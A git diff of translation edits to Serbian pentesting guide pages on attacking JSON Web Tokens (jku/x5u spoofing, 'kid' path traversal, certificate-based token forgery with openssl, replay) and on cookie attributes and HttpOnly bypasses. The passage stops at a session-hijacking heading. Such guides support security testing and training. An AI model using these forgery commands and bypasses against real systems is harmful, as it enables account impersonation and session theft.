Ako ste zainteresovani za **hakera karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**Deo ovog posta se zasniva na sjajnom postu:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
**Deo ovog posta se zasniva na sjajnom postu:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||||
**Autor sjajnog alata za pentesting JWT-ova** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
**Autor sjajnog alata za pentesting JWT-ova** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||||
|
|
||||||
### **Brze Pobjede**
|
### **Brze pobede**
|
||||||
|
|
||||||
Pokrenite [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) u režimu `All Tests!` i sačekajte zelene linije.
|
Pokrenite [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) u režimu `All Tests!` i sačekajte zelene linije.
|
||||||
```bash
|
```bash
|
||||||
|
@ -96,14 +96,14 @@ Ovo se može uraditi sa "JSON Web Tokens" Burp ekstenzijom.\
|
||||||
|
|
||||||
### JWKS Spoofing
|
### JWKS Spoofing
|
||||||
|
|
||||||
Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da se povezuje sa JWKS (JSON Web Key Set) datotekom koja sadrži javni ključ neophodan za verifikaciju tokena.
|
Uputstva detaljno opisuju metodu za procenu sigurnosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da vodi do JWKS (JSON Web Key Set) datoteke koja sadrži javni ključ neophodan za verifikaciju tokena.
|
||||||
|
|
||||||
* **Procena Tokena sa "jku" Zaglavljem**:
|
* **Procena Tokena sa "jku" Zaglavljem**:
|
||||||
* Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.
|
* Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.
|
||||||
* Izmenite "jku" vrednost tokena da biste usmerili ka kontrolisanoj veb usluzi, omogućavajući posmatranje saobraćaja.
|
* Izmenite "jku" vrednost tokena da biste usmerili ka kontrolisanoj veb usluzi, omogućavajući posmatranje saobraćaja.
|
||||||
* **Praćenje HTTP Interakcije**:
|
* **Praćenje HTTP Interakcije**:
|
||||||
* Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg linka.
|
* Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg linka.
|
||||||
* Kada koristite `jwt_tool` za ovaj proces, važno je ažurirati `jwtconf.ini` datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
|
* Kada koristite `jwt_tool` za ovaj proces, ključno je ažurirati `jwtconf.ini` datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
|
||||||
* **Komanda za `jwt_tool`**:
|
* **Komanda za `jwt_tool`**:
|
||||||
* Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
|
* Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
|
||||||
|
|
||||||
|
@ -121,7 +121,7 @@ Kada je `kid` tvrdnja prisutna u zaglavlju, preporučuje se pretraživanje veb d
|
||||||
|
|
||||||
#### Putanja Prelaz sa "kid"
|
#### Putanja Prelaz sa "kid"
|
||||||
|
|
||||||
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući odabir proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade menjajući `kid` vrednost kako bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
|
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući odabir proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom `kid` vrednosti kako bi se ciljali specifične datoteke ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
```
|
```
|
||||||
|
@ -167,9 +167,9 @@ print("e:", hex(key.e))
|
||||||
```
|
```
|
||||||
#### x5u
|
#### x5u
|
||||||
|
|
||||||
X.509 URL. URI koji pokazuje na skup X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Svaki sledeći sertifikat potpisuje prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
|
X.509 URL. URI koji pokazuje na skup X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
|
||||||
|
|
||||||
Pokušajte da **promenite ovaj header u URL pod vašom kontrolom** i proverite da li je primljena neka zahtev. U tom slučaju, **mogli biste da manipulišete JWT-om**.
|
Pokušajte da **promenite ovaj zaglavlje u URL pod vašom kontrolom** i proverite da li je primljena neka zahtev. U tom slučaju, **mogli biste da manipulišete JWT-om**.
|
||||||
|
|
||||||
Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, potrebno je da kreirate sertifikat i izdvojite javne i privatne ključeve:
|
Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, potrebno je da kreirate sertifikat i izdvojite javne i privatne ključeve:
|
||||||
```bash
|
```bash
|
||||||
|
@ -188,7 +188,7 @@ Ovaj parametar može sadržati **sertifikat u base64**:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (1119).png>)
|
![](<../.gitbook/assets/image (1119).png>)
|
||||||
|
|
||||||
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje ostale parametre, naime n, e i x5t, tada bi suštinski lažni token bio prihvaćen od strane servera.
|
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje ostale parametre, naime n, e i x5t, tada bi lažni token u suštini bio prihvaćen od strane servera.
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||||
openssl x509 -in attacker.crt -text
|
openssl x509 -in attacker.crt -text
|
||||||
|
@ -235,24 +235,24 @@ Here is a example: [ECDSA: Otkivanje privatnog ključa, ako se koristi isti nonc
|
||||||
|
|
||||||
### JTI (JWT ID)
|
### JTI (JWT ID)
|
||||||
|
|
||||||
JTI (JWT ID) tvrdnja pruža jedinstveni identifikator za JWT Token. Može se koristiti za sprečavanje ponovnog korišćenja tokena.\
|
JTI (JWT ID) tvrdnja pruža jedinstveni identifikator za JWT token. Može se koristiti za sprečavanje ponovnog korišćenja tokena.\
|
||||||
Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999). Zahtev 0001 i 10001 će koristiti isti ID. Dakle, ako backend povećava ID sa svakim zahtevom, mogli biste to iskoristiti da **ponovno pošaljete zahtev** (trebalo bi poslati 10000 zahteva između svake uspešne ponovne upotrebe).
|
Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999). Zahtev 0001 i 10001 će koristiti isti ID. Dakle, ako backend povećava ID sa svakim zahtevom, mogli biste to iskoristiti da **ponovno pošaljete zahtev** (trebalo bi poslati 10000 zahteva između svake uspešne ponovne upotrebe).
|
||||||
|
|
||||||
### JWT Registrovane tvrdnje
|
### JWT Registrovane tvrdnje
|
||||||
|
|
||||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||||
|
|
||||||
### Drugi napadi
|
### Druge napade
|
||||||
|
|
||||||
**Napadi preusmeravanja između usluga**
|
**Napadi međuslužbene relacije**
|
||||||
|
|
||||||
Primećeno je da neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
|
Primećeno je da se neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
|
||||||
|
|
||||||
* Kritični problem može biti naznačen prihvatanjem vašeg tokena, potencijalno omogućavajući lažno predstavljanje bilo kog korisničkog računa. Međutim, treba napomenuti da bi mogla biti potrebna dozvola za šire testiranje ako se registrujete na aplikaciji treće strane, jer bi to moglo ući u pravnu sivu zonu.
|
* Kritični problem može biti naznačen prihvatanjem vašeg tokena, potencijalno omogućavajući lažno predstavljanje bilo kog korisničkog računa. Međutim, treba napomenuti da bi mogla biti potrebna dozvola za šire testiranje ako se registrujete na aplikaciji treće strane, jer bi to moglo ući u pravnu sivu zonu.
|
||||||
|
|
||||||
**Provera isteka tokena**
|
**Provera isteka tokena**
|
||||||
|
|
||||||
Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to da se JWT-ovi često koriste bez informacija o sesiji, potrebna je pažljiva obrada. U mnogim slučajevima, hvatanje i ponovna upotreba JWT-a drugog korisnika moglo bi omogućiti lažno predstavljanje tog korisnika. JWT RFC preporučuje ublažavanje napada ponovnog korišćenja JWT-a korišćenjem "exp" tvrdnje za postavljanje vremena isteka za token. Pored toga, implementacija relevantnih provera od strane aplikacije kako bi se osiguralo procesuiranje ove vrednosti i odbijanje istečenih tokena je ključna. Ako token uključuje "exp" tvrdnju i vremenska ograničenja testiranja to dozvoljava, savetuje se čuvanje tokena i ponovna upotreba nakon što je vreme isteka prošlo. Sadržaj tokena, uključujući analizu vremenskih oznaka i proveru isteka (vremenska oznaka u UTC), može se pročitati korišćenjem -R opcije jwt\_tool-a.
|
Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to da se JWT-ovi često koriste bez informacija o sesiji, potrebna je pažljiva obrada. U mnogim slučajevima, hvatanje i ponovna upotreba JWT-a drugog korisnika moglo bi omogućiti lažno predstavljanje tog korisnika. JWT RFC preporučuje ublažavanje napada ponovnog korišćenja JWT-a korišćenjem "exp" tvrdnje za postavljanje vremena isteka za token. Pored toga, implementacija relevantnih provera od strane aplikacije kako bi se osiguralo procesuiranje ove vrednosti i odbijanje istečenih tokena je ključna. Ako token uključuje "exp" tvrdnju i vremenska ograničenja testiranja to dozvoljavaju, savetuje se čuvanje tokena i ponovna upotreba nakon što je vreme isteka prošlo. Sadržaj tokena, uključujući analizu vremenskih oznaka i proveru isteka (vremenska oznaka u UTC), može se pročitati korišćenjem -R opcije jwt\_tool-a.
|
||||||
|
|
||||||
* Bezbednosni rizik može postojati ako aplikacija i dalje validira token, jer to može implicirati da token nikada ne može isteći.
|
* Bezbednosni rizik može postojati ako aplikacija i dalje validira token, jer to može implicirati da token nikada ne može isteći.
|
||||||
|
|
||||||
|
@ -260,7 +260,7 @@ Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to d
|
||||||
|
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
|
|
@ -1,37 +1,37 @@
|
||||||
# Hacking Kolačića
|
# Cookies Hacking
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Atributi kolačića
|
## Cookie Attributes
|
||||||
|
|
||||||
Kolačići dolaze sa nekoliko atributa koji kontrolišu njihovo ponašanje u korisnikovom pretraživaču. Evo pregleda ovih atributa u pasivnijem tonu:
|
Kolačići dolaze sa nekoliko atributa koji kontrolišu njihovo ponašanje u korisnikovom pretraživaču. Evo pregleda ovih atributa u pasivnijem tonu:
|
||||||
|
|
||||||
### Ističe i Maksimalna starost
|
### Expires and Max-Age
|
||||||
|
|
||||||
Datum isteka kolačića određuje atribut `Expires`. Nasuprot tome, atribut `Max-age` definiše vreme u sekundama do brisanja kolačića. **Odaberite `Max-age` jer odražava modernije prakse.**
|
Datum isteka kolačića određuje atribut `Expires`. Nasuprot tome, atribut `Max-age` definiše vreme u sekundama do brisanja kolačića. **Izaberite `Max-age` jer odražava modernije prakse.**
|
||||||
|
|
||||||
### Domen
|
### Domain
|
||||||
|
|
||||||
Domaćini koji primaju kolačić određeni su atributom `Domain`. Po defaultu, ovo je postavljeno na domaćina koji je izdao kolačić, ne uključujući njegove poddomene. Međutim, kada je atribut `Domain` eksplicitno postavljen, obuhvata i poddomene. Ovo čini specifikaciju atributa `Domain` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića preko poddomena neophodno. Na primer, postavljanje `Domain=mozilla.org` čini kolačiće dostupnim na njegovim poddomenama kao što je `developer.mozilla.org`.
|
Domaćini koji primaju kolačić određeni su atributom `Domain`. Po defaultu, ovo je postavljeno na domaćina koji je izdao kolačić, ne uključujući njegove poddomaene. Međutim, kada je atribut `Domain` eksplicitno postavljen, obuhvata i poddomene. Ovo čini specifikaciju atributa `Domain` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića preko poddomena neophodno. Na primer, postavljanje `Domain=mozilla.org` čini kolačiće dostupnim na njegovim poddomenama kao što je `developer.mozilla.org`.
|
||||||
|
|
||||||
### Putanja
|
### Path
|
||||||
|
|
||||||
Specifična URL putanja koja mora biti prisutna u traženom URL-u da bi se `Cookie` zaglavlje poslalo označena je atributom `Path`. Ovaj atribut smatra karakter `/` kao separator direktorijuma, omogućavajući podudaranja u poddirektorijumima.
|
Specifična URL putanja koja mora biti prisutna u traženom URL-u da bi se `Cookie` zaglavlje poslalo označena je atributom `Path`. Ovaj atribut smatra karakter `/` kao separator direktorijuma, omogućavajući podudaranja u poddirektorijumima.
|
||||||
|
|
||||||
### Pravila redosleda
|
### Ordering Rules
|
||||||
|
|
||||||
Kada dva kolačića imaju isto ime, onaj koji se bira za slanje zasniva se na:
|
Kada dva kolačića imaju isto ime, onaj koji se bira za slanje zasniva se na:
|
||||||
|
|
||||||
|
@ -47,7 +47,7 @@ Kada dva kolačića imaju isto ime, onaj koji se bira za slanje zasniva se na:
|
||||||
|
|
||||||
Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoći da se osigura da se ponašaju kako se očekuje u različitim scenarijima.
|
Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoći da se osigura da se ponašaju kako se očekuje u različitim scenarijima.
|
||||||
|
|
||||||
| **Tip zahteva** | **Primer koda** | **Kolačići poslati kada** |
|
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||||
| ---------------- | ---------------------------------- | --------------------- |
|
| ---------------- | ---------------------------------- | --------------------- |
|
||||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||||
|
@ -55,25 +55,25 @@ Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoć
|
||||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||||
| AJAX | $.get("...") | NotSet\*, None |
|
| AJAX | $.get("...") | NotSet\*, None |
|
||||||
| Slika | \<img src="..."> | NetSet\*, None |
|
| Image | \<img src="..."> | NetSet\*, None |
|
||||||
|
|
||||||
Tabela iz [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i malo izmenjena.\
|
Tabela iz [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i malo izmenjena.\
|
||||||
Kolačić sa _**SameSite**_ atributom će **ublažiti CSRF napade** gde je potrebna prijavljena sesija.
|
Kolačić sa _**SameSite**_ atributom će **ublažiti CSRF napade** gde je potrebna prijavljena sesija.
|
||||||
|
|
||||||
**\*Napomena da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez SameSite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Napomena da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez samesite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
Napomena da će privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve na vrhunskim stranicama.**
|
Napomena da privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u će biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve na vrhunskim stranicama.**
|
||||||
|
|
||||||
## Zastavice kolačića
|
## Cookies Flags
|
||||||
|
|
||||||
### HttpOnly
|
### HttpOnly
|
||||||
|
|
||||||
Ovo sprečava **klijenta** da pristupi kolačiću (putem **JavaScript-a**, na primer: `document.cookie`)
|
Ovo sprečava **klijenta** da pristupi kolačiću (putem **Javascript-a**, na primer: `document.cookie`)
|
||||||
|
|
||||||
#### **Obilaženja**
|
#### **Zaobilaženja**
|
||||||
|
|
||||||
* Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev na ovu stranicu i **ukrade kolačiće** iz odgovora (proverite primer na [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
* Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev na ovu stranicu i **ukrade kolačiće** iz odgovora (proverite primer na [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||||
* Ovo se može zaobići sa **TRACE** **HTTP** zahtevima jer će odgovor servera (ako je ova HTTP metoda dostupna) odražavati poslata kolačiće. Ova tehnika se naziva **Cross-Site Tracking**.
|
* Ovo se može zaobići sa **TRACE** **HTTP** zahtevima jer će odgovor servera (ako je ova HTTP metoda dostupna) odražavati poslate kolačiće. Ova tehnika se naziva **Cross-Site Tracking**.
|
||||||
* Ova tehnika se izbegava od strane **modernih pretraživača ne dozvoljavajući slanje TRACE** zahteva iz JS-a. Međutim, neka obilaženja su pronađena u specifičnom softveru kao što je slanje `\r\nTRACE` umesto `TRACE` u IE6.0 SP2.
|
* Ova tehnika se izbegava od strane **modernih pretraživača ne dozvoljavajući slanje TRACE** zahteva iz JS-a. Međutim, neka zaobilaženja su pronađena u specifičnom softveru kao što je slanje `\r\nTRACE` umesto `TRACE` u IE6.0 SP2.
|
||||||
* Drugi način je eksploatacija zero/day ranjivosti pretraživača.
|
* Drugi način je eksploatacija zero/day ranjivosti pretraživača.
|
||||||
* Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada Cookie Jar overflow:
|
* Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada Cookie Jar overflow:
|
||||||
|
|
||||||
|
@ -87,44 +87,44 @@ Ovo sprečava **klijenta** da pristupi kolačiću (putem **JavaScript-a**, na pr
|
||||||
|
|
||||||
Zahtev će **samo** poslati kolačić u HTTP zahtevu samo ako je zahtev prenet preko sigurnog kanala (tipično **HTTPS**).
|
Zahtev će **samo** poslati kolačić u HTTP zahtevu samo ako je zahtev prenet preko sigurnog kanala (tipično **HTTPS**).
|
||||||
|
|
||||||
## Prefiksi kolačića
|
## Cookies Prefixes
|
||||||
|
|
||||||
Kolačići sa prefiksom `__Secure-` moraju biti postavljeni zajedno sa `secure` zastavicom sa stranica koje su zaštićene HTTPS-om.
|
Kolačići sa prefiksom `__Secure-` moraju biti postavljeni zajedno sa `secure` oznakom sa stranica koje su zaštićene HTTPS-om.
|
||||||
|
|
||||||
Za kolačiće sa prefiksom `__Host-`, mora biti ispunjeno nekoliko uslova:
|
Za kolačiće sa prefiksom `__Host-`, mora biti ispunjeno nekoliko uslova:
|
||||||
|
|
||||||
* Moraju biti postavljeni sa `secure` zastavicom.
|
* Moraju biti postavljeni sa `secure` oznakom.
|
||||||
* Moraju poticati sa stranice zaštićene HTTPS-om.
|
* Moraju poticati sa stranice zaštićene HTTPS-om.
|
||||||
* Zabranjeno im je da specificiraju domen, sprečavajući njihovu transmisiju na poddomene.
|
* Zabranjeno im je da specificiraju domen, sprečavajući njihovo prenošenje na poddomene.
|
||||||
* Putanja za ove kolačiće mora biti postavljena na `/`.
|
* Putanja za ove kolačiće mora biti postavljena na `/`.
|
||||||
|
|
||||||
Važno je napomenuti da kolačići sa prefiksom `__Host-` ne smeju biti poslati na superdomenima ili poddomenima. Ova restrikcija pomaže u izolaciji aplikacionih kolačića. Stoga, korišćenje `__Host-` prefiksa za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
|
Važno je napomenuti da kolačići sa prefiksom `__Host-` ne smeju biti poslati na superdomenima ili poddomenima. Ova restrikcija pomaže u izolaciji aplikacionih kolačića. Stoga, korišćenje `__Host-` prefiksa za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
|
||||||
|
|
||||||
### Prepisivanje kolačića
|
### Overwriting cookies
|
||||||
|
|
||||||
Dakle, jedna od zaštita kolačića sa prefiksom `__Host-` je sprečavanje da budu prepisani sa poddomena. Sprečavanje, na primer, [**Cookie Tossing napada**](cookie-tossing.md). U govoru [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) je predstavljeno da je bilo moguće postaviti kolačiće sa prefiksom \_\_HOST- sa poddomena, varajući parser, na primer, dodajući "=" na početak ili na kraj...:
|
Dakle, jedna od zaštita kolačića sa prefiksom `__Host-` je sprečavanje njihovog prepisivanja sa poddomena. Sprečavanje, na primer, [**Cookie Tossing napada**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) je predstavljeno da je bilo moguće postaviti kolačiće sa prefiksom \_\_HOST- sa poddomena, prevarom parsera, na primer, dodavanjem "=" na početak ili na kraj...:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ili u PHP-u je bilo moguće dodati **druge karaktere na početak** imena kolačića koji će biti **zamenjeni donjim crticama**, omogućavajući prepisivanje `__HOST-` kolačića:
|
Ili u PHP-u je bilo moguće dodati **druge karaktere na početak** imena kolačića koji će biti **zamenjeni donjim crticama**, omogućavajući prepisivanje `__HOST-` kolačića:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Napadi na kolačiće
|
## Cookies Attacks
|
||||||
|
|
||||||
Ako prilagođeni kolačić sadrži osetljive podatke, proverite ga (posebno ako učestvujete u CTF-u), jer može biti ranjiv.
|
Ako prilagođeni kolačić sadrži osetljive podatke, proverite ga (posebno ako učestvujete u CTF-u), jer može biti ranjiv.
|
||||||
|
|
||||||
### Dekodiranje i manipulacija kolačićima
|
### Decoding and Manipulating Cookies
|
||||||
|
|
||||||
Osjetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo ispitani. Kolačići kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj kolačića i pretvaraju se u druge korisnike kodiranjem svojih izmenjenih podataka nazad u kolačić.
|
Osjetljivi podaci ugrađeni u kolačiće uvek treba pažljivo pregledati. Kolačići kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj kolačića i pretvaraju se u druge korisnike kodiranjem svojih izmenjenih podataka nazad u kolačić.
|
||||||
|
|
||||||
### Otimanje sesije
|
### Session Hijacking
|
||||||
|
|
||||||
